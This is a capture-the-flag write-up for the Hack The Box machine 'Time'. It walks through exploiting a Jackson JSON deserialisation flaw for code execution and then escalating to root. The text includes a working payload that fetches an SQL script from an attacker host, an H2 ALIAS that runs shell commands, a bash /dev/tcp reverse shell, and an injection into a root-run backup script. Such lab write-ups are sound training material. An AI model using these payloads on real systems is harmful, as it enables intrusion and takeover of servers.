HTB Write-up | Time
Retired machine can be found here.
Scanning
It seems like this machine is running OpenSSH
on port 22 and an Apache
web server on port 80:
~ nmap -sC -sV time.htb
PORT STATE SERVICE VERSION
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
When we access the website, we see a simple JSON "beautifier" and validator.
After submitting a couple of invalid JSON objects, it was clear from the error responses that the JSON was being parsed and validated using Jackson:
Validation failed: Unhandled Java exception:
com.fasterxml.jackson.databind.exc.MismatchedInputException:
Unexpected token (START_OBJECT), expected VALUE_STRING:
need JSON String that contains type id (for subtype of java.lang.Object)
Turns out this parser has 3 CVEs, all to do with deserialisation vulnerabilities.
This is a very good article that explains the root of these vulnerabilities and how to exploit them.
Exploiting Jackson
Since this version of Jackson already blocklists some insecure types, I had to rely on this BlackHat presentation from 2019 to find a valid exploit:
After going through this article, I realised that the easiest way to achieve an RCE using DriverManagerConnectionSource
would be to abuse H2's INIT=RUNSCRIPT FROM feature.
Using this option, a database can be initialised with a SQL file that's hosted on the attacker's machine (I used python -m SimpleHTTPServer 8000
to serve it).
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://[attacker-ip]:8000/inject.sql'"
}
]
This SQL file also abuses an H2 feature - Database ALIAS - to create the reverse shell, as shown below:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/[attacker-ip]/[attacker-port] 0>&1')
And we get a shell as pericles
, which in this case also gives us the ability to read the user flag!
pericles gets root
While looking for files that belonged to group pericles
, I saw something that caught my eye:
pericles@time:~$ find / -group pericles
...
/usr/bin/timer_backup.sh
...
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
It looks like this script is periodically zipping the /var/www/html
directory and then moving the zip file to the root
directory.
This means that the script can access the root
directory, which we can abuse by adding an extra line to it that writes the root flag to a directory accessible to our user, such as tmp
:
pericles@time:~$ echo 'cat /root/root.txt > /tmp/out' >> /usr/bin/timer_backup.sh
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
cat /root/root.txt > /tmp/out
Our root
flag is now at /tmp/out
.
And we're done 😊